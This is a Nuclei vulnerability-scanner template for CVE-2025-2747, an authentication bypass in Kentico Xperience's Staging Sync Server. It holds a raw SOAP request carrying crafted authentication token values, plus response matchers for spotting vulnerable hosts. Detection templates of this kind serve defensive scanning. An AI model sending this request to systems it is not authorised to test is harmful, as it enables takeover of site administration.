id: CVE-2025-2747
info:
name: "Kentico - Authentication Bypass"
author: vedas-arpsyndicate
severity: critical
description: |
An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync
Server component password handling for the server defined None type. Authentication bypass allows an attacker
to control administrative objects.This issue affects Xperience through 13.0.178.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-2747&match=exact
- https://subdomain.center/?engine=ammonites&keyword=kentico&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2747
cwe-id: CWE-287
metadata:
verified: false
tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,kev,vkev,vuln
variables:
rand: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData"
y3t4kallxq
6dfzCOJsdj5Aw+1rGzwoHadPFTQ=
4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh
2025-03-10T20:11:07Z
]]>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{rand}}"
- ""
condition: and
- type: word
part: body
words:
- "Site not running"
- "SyncServer.ErrorLicense"
- "SyncServer.ErrorServiceNotEnabled"
- "Staging service is not enabled on this server"
- "Staging does not work with blank password"
- "Missing X509 certificate token"
- "The security token could not be authenticated or authorized"
condition: or
negative: true
- type: word
part: content_type
words:
- "text/xml"